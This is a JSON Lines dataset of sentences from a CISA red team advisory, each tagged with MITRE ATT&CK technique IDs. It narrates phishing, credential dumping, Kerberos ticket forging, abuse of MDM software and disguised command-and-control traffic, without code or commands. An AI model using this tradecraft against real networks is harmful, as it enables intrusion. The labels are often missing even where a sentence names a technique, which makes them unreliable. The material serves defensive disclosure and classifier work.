{"sentence": "During Phase I, the red team attempts to gain and maintain persistent access to an organization’s enterprise network while avoiding detection and evading defenses.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During Phase II, the red team attempts to trigger a security response from the organization’s people, processes, or technology.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The “victim” for this assessment was a large organization with multiple geographically separated sites throughout the United States.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "For this assessment, the red team’s goal during Phase I was to gain access to certain sensitive business systems (SBSs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phase I: Red Team Cyber Threat Activity Overview The organization’s network was segmented with both logical and geographical boundaries.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA’s red team gained initial access to two organization workstations at separate sites via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "After gaining access and leveraging Active Directory (AD) data, the team gained persistent access to a third host via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "From that host, the team moved laterally to a misconfigured server, from which they compromised the domain controller (DC).", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They then used forged credentials to move to multiple hosts across different sites in the environment and eventually gained root access to all workstations connected to the organization’s mobile device management (MDM) server.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used this root access to move laterally to SBS-connected workstations.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, a multifactor authentication (MFA) prompt prevented the team from achieving access to one SBS, and Phase I ended before the team could implement a seemingly viable plan to achieve access to a second SBS.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Initial Access and Active Directory Discovery The CISA red team gained initial access [TA0001] to two workstations at geographically separated sites (Site 1 and Site 2) via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team first conducted open-source research [TA0043] to identify potential targets for spearphishing.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team looked for email addresses [T1589.002] as well as names", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1589.003] that could be used to derive email addresses based on the team’s identification of the email naming scheme.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team sent tailored spearphishing emails to seven targets using commercially available email platforms [T1585.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the logging and tracking features of one of the platforms to analyze the organization’s email filtering defenses and confirm the emails had reached the target’s inbox.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team built a rapport with some targeted individuals through emails, eventually leading these individuals to accept a virtual meeting invite.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The meeting invite took them to a red team-controlled domain [T1566.002] with a button, which, when clicked, downloaded a “malicious” ISO file [T1204].", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "After the download, another button appeared, which, when clicked, executed the file.", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Two of the seven targets responded to the phishing attempt, giving the red team access to a workstation at Site 1 (Workstation 1) and a workstation at Site 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "On Workstation 1, the team leveraged a modified SharpHound collector, ldapsearch, and command-line tool, dsquery, to query and scrape AD information, including AD users", "labels": ["T1059.003"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1087.002], computers [T1018], groups [T1069.002], access control lists (ACLs), organizational units (OU), and group policy objects (GPOs)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1615].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "SharpHound is a BloodHound collector, an open-source AD reconnaissance tool.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Bloodhound has multiple collectors that assist with information querying.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "There were 52 hosts in the AD that had Unconstrained Delegation enabled and a lastlogon timestamp within 30 days of the query.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Hosts with Unconstrained Delegation enabled store Kerberos ticket-granting tickets (TGTs) of all users that have authenticated to that host.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Many of these hosts, including a Site 1 SharePoint server, were Windows Server 2012R2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The default configuration of Windows Server 2012R2 allows unprivileged users to query group membership of local administrator groups.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team queried parsed Bloodhound data for members of the SharePoint admin group and identified several standard user accounts with administrative access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team initiated a second spearphishing campaign, similar to the first, to target these users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "One user triggered the red team’s payload, which led to installation of a persistent beacon on the user’s workstation (Workstation 2), giving the team persistent access to Workstation 2. Lateral Movement, Credential Access, and Persistence The red team moved laterally", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[TA0008] from Workstation 2 to the Site 1 SharePoint server and had SYSTEM level access to the Site 1 SharePoint server, which had Unconstrained Delegation enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They used this access to obtain the cached credentials of all logged-in users—including the New Technology Local Area Network Manager (NTLM) hash for the SharePoint server account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "To obtain the credentials, the team took a snapshot of lsass.exe", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1003.001] with a tool called nanodump, exported the output, and processed the output offline with Mimikatz.", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then exploited the Unconstrained Delegation misconfiguration to steal the DC’s TGT.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They ran the DFSCoerce python script (DFSCoerce.py), which prompted DC authentication to the SharePoint server using the server’s NTLM hash.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then deployed Rubeus to capture the incoming DC TGT [T1550.002], [T1557.001].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "(DFSCoerce abuses Microsoft's Distributed File System [MS-DFSNM] protocol to relay authentication against an arbitrary server.[1])", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then used the TGT to harvest advanced encryption standard (AES)-256 hashes via DCSync", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1003.006] for the krbtgt account and several privileged accounts—including domain admins, workstation admins, and a system center configuration management (SCCM) service account (SCCM Account 1).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used the krbtgt account hash throughout the rest of their assessment to perform golden ticket attacks [T1558.001] in which they forged legitimate TGTs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team also used the asktgt command to impersonate accounts they had credentials for by requesting account TGTs [T1550.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team first impersonated the SCCM Account 1 and moved laterally to a Site 1 SCCM distribution point (DP) server (SCCM Server 1) that had direct network access to Workstation 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then moved from SCCM Server 1 to a central SCCM server (SCCM Server 2) at a third site (Site 3).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team: Queried the AD using Lightweight Directory Access Protocol (LDAP) for information about the network's sites and subnets [T1016].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This query revealed all organization sites and subnets broken down by classless inter-domain routing (CIDR) subnet and description.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Used LDAP queries and domain name system (DNS) requests to identify recently active hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Listed existing network connections", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1049] on SCCM Server 1, which revealed an active Server Message Block (SMB) connection from SCCM Server 2. Attempted to move laterally to the SCCM Server 2 via AppDomain hijacking, but the HTTPS beacon failed to call back.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Attempted to move laterally with an SMB beacon", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1021.002], which was successful.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team also moved from SCCM Server 1 to a Site 1 workstation (Workstation 3) that housed an active server administrator.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team impersonated an administrative service account via a golden ticket attack (from SCCM Server 1); the account had administrative privileges on Workstation 3.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The user employed a KeePass password manager that the team was able to use to obtain passwords for other internal websites, a kernel-based virtual machine (KVM) server, virtual private network (VPN) endpoints, firewalls, and another KeePass database with credentials.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The server administrator relied on a password manager, which stored credentials in a database file.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team pulled the decryption key from memory using KeeThief and used it to unlock the database [T1555.005].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "At the organization’s request, the red team confirmed that SCCM Server 2 provided access to the organization’s sites because firewall rules allowed SMB traffic to SCCM servers at all other sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally from SCCM Server 2 to an SCCM DP server at Site 5 and from the SCCM Server 1 to hosts at two other sites (Sites 4 and 6).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team installed persistent beacons at each of these sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Site 5 was broken into a private and a public subnet and only DCs were able to cross that boundary.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "To move between the subnets, the team moved through DCs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Specifically, the team moved from the Site 5 SCCM DP server to a public DC; and then they moved from the public DC to the private DC.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team was then able to move from the private DC to workstations in the private subnet.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team leveraged access available from SCCM 2 to move around the organization’s network for post-exploitation activities (See Post-Exploitation Activity section).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Figure 1 for a timeline of the red team’s initial access and lateral movement showing key access points.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Figure 1: Red Team Cyber Threat Activity: Initial Access and Lateral MovementWhile traversing the network, the team varied their lateral movement techniques to evade detection and because the organization had non-uniform firewalls between the sites and within the sites (within the sites, firewalls were configured by subnet).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team’s primary methods to move between sites were AppDomainManager hijacking and dynamic-link library (", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "DLL) hijacking", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1574.001].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In some instances, they used Windows Management Instrumentation (WMI)", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Event Subscriptions", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1546.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team impersonated several accounts to evade detection while moving.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "When possible, the team remotely enumerated the local administrators group on target hosts to find a valid user account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique relies on anonymous SMB pipe binds", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071], which are disabled by default starting with Windows Server 2016.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In other cases, the team attempted to determine valid accounts based on group name and purpose.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If the team had previously acquired the credentials, they used asktgt to impersonate the account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "If the team did not have the credentials, they used the golden ticket attack to forge the account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Post-Exploitation Activity: Gaining Access to SBSs With persistent, deep access established across the organization’s networks and subnetworks, the red team began post-exploitation activities and attempted to access SBSs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Trusted agents of the organization tasked the team with gaining access to two specialized servers (SBS 1 and SBS 2).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team achieved root access to three SBS-adjacent workstations but was unable to move laterally to the SBS servers:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Phase I ended before the team could implement a plan to move to SBS 1.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "An MFA prompt blocked the team from moving to SBS 2, and Phase I ended before they could implement potential workarounds.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, the team assesses that by using Secure Shell (SSH) session socket files (see below), they could have accessed any hosts available to the users whose workstations were compromised. Plan for Potential Access to SBS 1 Conducting open-source research", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[1591.001], the team identified that SBS 1 and 2 assets and associated management/upkeep staff were located at Sites 5 and 6, respectively.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Adding previously collected AD data to this discovery, the team was able to identify a specific SBS 1 admin account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team planned to use the organization’s mobile device management (MDM) software to move laterally to the SBS 1 administrator’s workstation and, from there, pivot to SBS 1 assets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team identified the organization’s MDM vendor using open-source and AD information [T1590.006] and moved laterally to an MDM distribution point server at Site 5 (MDM DP 1).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This server contained backups of the MDM MySQL database on its D: drive in the Backup directory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The backups included the encryption key needed to decrypt any encrypted values, such as SSH passwords [T1552].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The database backup identified both the user of the SBS 1 administrator account (USER 2) and the user’s workstation (Workstation 4), which the MDM software remotely administered.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team moved laterally to an MDM server (MDM 1) at Site 3, searched files on the server, and found plaintext credentials [T1552.001] to an application programming interface (API) user account stored in PowerShell scripts.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team attempted to leverage these credentials to browse to the web login page of the MDM vendor but were unable to do so because the website directed to an organization-controlled single-sign on (SSO) authentication page.", "labels": ["T1078"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team gained root access to workstations connected to MDM 1—specifically, the team accessed Workstation 4—by: Selecting an MDM user from the plaintext credentials in PowerShell scripts on MDM 1.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "While in the MDM MySQL database, Elevating the selected MDM user’s account privileges to administrator privileges, and Modifying the user’s account by adding Create Policy and Delete Policy permissions [T1098], [T1548]. Creating a policy via the MDM API [T1106], which instructed Workstation 4 to download and execute a payload to give the team interactive access as root to the workstation.", "labels": ["T1105"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Verifying their interactive access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Resetting permissions back to their original state by removing the policy via the MDM API and removing Create Policy and Delete Policy and administrator permissions and from the MDM user’s account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "While interacting with Workstation 4, the team found an open SSH socket file and a corresponding netstat connection to a host that the team identified as a bastion host from architecture documentation found on Workstation 4.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team planned to move from Workstation 4 to the bastion host to SBS 1.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: A SSH socket file allows a user to open multiple SSH sessions through a single, already authenticated SSH connection without additional authentication.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team could not take advantage of the open SSH socket.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Instead, they searched through SBS 1 architecture diagrams and documentation on Workstation 4.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They found a security operations (SecOps) network diagram detailing the network boundaries between Site 5 SecOps on-premises systems, Site 5 non-SecOps on-premises systems, and Site 5 SecOps cloud infrastructure.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The documentation listed the SecOps cloud infrastructure IP ranges [T1580].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These “trusted” IP addresses were a public /16 subnet; the team was able to request a public IP in that range from the same cloud provider, and Workstation 4 made successful outbound SSH connections to this cloud infrastructure.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team intended to use that connection to reverse tunnel traffic back to the workstation and then access the bastion host via the open SSH socket file.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, Phase 1 ended before they were able to implement this plan.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Attempts to Access SBS 2 Conducting open-source research, the team identified an organizational branch [T1591] that likely had access to SBS 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team queried the AD to identify the branch’s users and administrators.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team gathered a list of potential accounts, from which they identified administrators, such as SYSTEMS ADMIN or DATA SYSTEMS ADMINISTRATOR, with technical roles.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using their access to the MDM MySQL database, the team queried potential targets to (1) determine the target’s last contact time with the MDM and (2) ensure any policy targeting the target’s workstation would run relatively quickly [T1596.005].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using the same methodology as described by the steps in the Plan for Potential Access to SBS 1 section above, the team gained interactive root access to two Site 6 SBS 2-connected workstations: a software engineering workstation (Workstation 5) and a user administrator workstation (Workstation 6).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The Workstation 5 user had bash history files with what appeared to be SSH passwords mistyped into the bash prompt and saved in bash history", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1552.003].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team then attempted to authenticate to SBS 2 using a similar tunnel setup as described in the Access to SBS 1 section above and the potential credentials from the user’s bash history file.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, this attempt was unsuccessful for unknown reasons.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "On Workstation 6, the team found a .txt file containing plaintext credentials for the user.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using the pattern discovered in these credentials, the team was able to crack the user’s workstation account password", "labels": ["T1110"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1110.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team also discovered potential passwords and SSH connection commands in the user’s bash history.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Using a similar tunnel setup described above, the team attempted to log into SBS 2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "However, a prompt for an MFA passcode blocked this attempt.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See figure 2 for a timeline of the team’s post exploitation activity that includes key points of access.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Figure 2: Red Team Cyber Threat Activity: Post ExploitationCommand and Control The team used third-party owned and operated infrastructure and services", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1583] throughout their assessment, including in certain cases for command and control (C2)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[TA0011].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These included: Cobalt Strike and Merlin payloads for C2 throughout the assessment.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Note: Merlin is a post-exploit tool that leverages HTTP protocols for C2 traffic.", "labels": ["T1071.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team maintained multiple Cobalt Strike servers hosted by a cloud vendor.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "They configured each server with a different domain and used the servers for communication with compromised hosts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "These servers retained all assessment data.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Two commercially available cloud-computing platforms.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used these platforms to create flexible and dynamic redirect servers to send traffic to the team’s Cobalt Strike servers [T1090.002].", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Redirecting servers make it difficult for defenders to attribute assessment activities to the backend team servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The redirectors used HTTPS reverse proxies to redirect C2 traffic between the target organization’s network and the Cobalt Strike team servers", "labels": ["T1071.001", "T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "[T1071.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team encrypted all data in transit [T1573] using encryption keys stored on team’s Cobalt Strike servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "A cloud service to rapidly change the IP address of the team’s redirecting servers in the event of detection and eradication.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Content delivery network (CDN) services to further obfuscate some of the team’s C2 traffic.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique leverages CDNs associated with high-reputation domains so that the malicious traffic appears to be directed towards a reputation domain but is actually redirected to the red team-controlled Cobalt Strike servers.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team used domain fronting [T1090.004] to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This technique, which also leverages CDNs, allows the beacon to appear to connect to third-party domains, such as nytimes.com, when it is actually connecting to the team’s redirect server. Phase II: Red Team Measurable Events Activity", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The red team executed 13 measurable events designed to provoke a response from the people, processes, and technology defending the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See Table 1 for a description of the events, the expected network defender activity, and the organization’s actual response.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Table 1: Measurable Events Measurable Event Description MITRE ATT&CK Technique(s) Expected Detection Points Expected Network Defender Reactions Reported Reactions Internal Port Scan Launch scan from inside the network from a previously gained workstation to enumerate ports on target workstation, server, and domain controller system(s).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
